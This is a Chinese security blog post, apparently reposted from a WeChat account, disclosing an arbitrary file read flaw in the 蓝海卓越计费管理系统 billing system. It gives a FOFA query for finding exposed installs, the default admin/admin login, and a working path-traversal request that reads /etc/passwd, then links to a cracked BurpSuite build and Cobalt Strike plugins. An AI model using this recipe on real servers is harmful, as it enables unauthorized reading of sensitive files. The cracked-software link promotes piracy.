“今日，宜小酌。”
声明
本文章仅用于交流学习，请勿使用该方法进行违法活动，谢谢！
（如使用此方法进行违法活动与作者无关）
PS：文末工具推送~
漏洞描述
蓝海卓越计费管理系统 download.php文件存在任意文件读取漏洞，攻击者通过 ../ 遍历目录可以读取服务器上的敏感文件
漏洞影响
蓝海卓越计费管理系统漏洞复现
1）FOFA
title=="蓝海卓越计费管理系统"
2）登录界面
3）默认口令 admin/admin，登录后界面如下
4）出现漏洞的文件为 download.php，构造POC如下
GET /download.php?file=../../../../../etc/passwd
5）成功读取passwd文件，内容如下。
工具推送
1）BurpSuite2021.5最新破解版、免装java环境.直接启动。
https://cloud.189.cn/t/IF7JBjjMNB7百度链接：https://pan.baidu.com/s/1Gta8GEeDNVNkyJxIG3VIEw提取码：iguo
2）红队渗透测试框架
https://github.com/Lucifer1993/SatanSword
3）适用于Cobalt Strike的插件
https://github.com/z1un/Z1-AggressorScripts
- - - - - - - - - - - - - - - END - - - - - - - - - - - - - - -
点关注，不迷路
原文始发于微信公众号（五六七安全团队）：蓝海卓越计费管理系统任意文件读取漏洞
免责声明:文章中涉及的程序(方法)可能带有攻击性，仅供安全研究与教学之用，读者将其信息做其他用途，由读者承担全部法律及连带责任，本站不承担任何法律及连带责任；如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截，联系方式见首页)，望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论